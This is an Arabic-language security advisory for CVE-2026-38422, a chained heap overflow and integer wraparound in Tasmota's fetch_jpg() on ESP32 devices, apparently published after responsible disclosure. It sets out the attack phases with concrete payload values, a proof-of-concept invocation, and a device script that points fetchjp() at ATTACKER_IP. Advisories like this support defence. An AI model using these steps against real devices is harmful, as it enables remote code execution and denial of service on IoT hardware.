
CVE-2026-38422 — تنفيذ التعليمات البرمجية عن بُعد عبر فيضانات المخزن المؤقت المجمّعة في Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
الخطورة: حرجة (CVSS 9.8)
المنتج: Arendst Tasmota
الإصدار المتأثر: <= 15.3.0.3
الملف: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
الدالة: fetch_jpg()
المؤلف: Saidakbarxon Maxsudxonov
الإفصاح: مسؤول — تم الإبلاغ إلى Tasmota قبل النشر
تحتوي الدالة fetch_jpg() في برنامج التشغيل النصي لـ Tasmota (xdrv_10_scripter.ino) على ثغرتين متراكمتين لتلف الذاكرة تمكنان معًا من تنفيذ كود عن بُعد على الأجهزة القائمة على ESP32 والتي تعمل بنظام Tasmota <= 15.3.0.3:
strcpy() في مخزن ثابت بحجم 40 بايت boundary[] — يفسد ذاكرة الكومة المجاورة بما في ذلك مؤشرات vtable الخاصة بـ WiFiClient/HTTPClient (انظر أيضًا CVE-2026-38426)uint16_t على Content-Length — يخصص مخزنًا أصغر من اللازم مما يتسبب في تلف حالة التدفق (انظر أيضًا CVE-2026-38427)عند استخدامهما معًا في جلسة هجوم واحدة، تعمل هاتان البدائيتان على تعظيم تلف الكومة وتزيدان بشكل كبير من احتمالية تحقيق تنفيذ برمجي تعسفي.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
خادم إثبات المفهوم:
fetchjp())Content-Length: 65537 (التفاف)راجع CVE-2026-38422_poc.py للتنفيذ الكامل.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
يجب أن يكون الجهاز مشغّلًا لسكربت Tasmota يستخدم fetchjp(). يتحكم المهاجم في الخادم الذي يتصل به الجهاز (أو ينفذ هجوم رجل في المنتصف على اتصال قائم).
أي جهاز Tasmota قائم على ESP32 يعمل بإصدار <= 15.3.0.3 مع تمكين دعم السكريبت وسكربت يستخدم fetchjp() للاتصال بخادم MJPEG خارجي.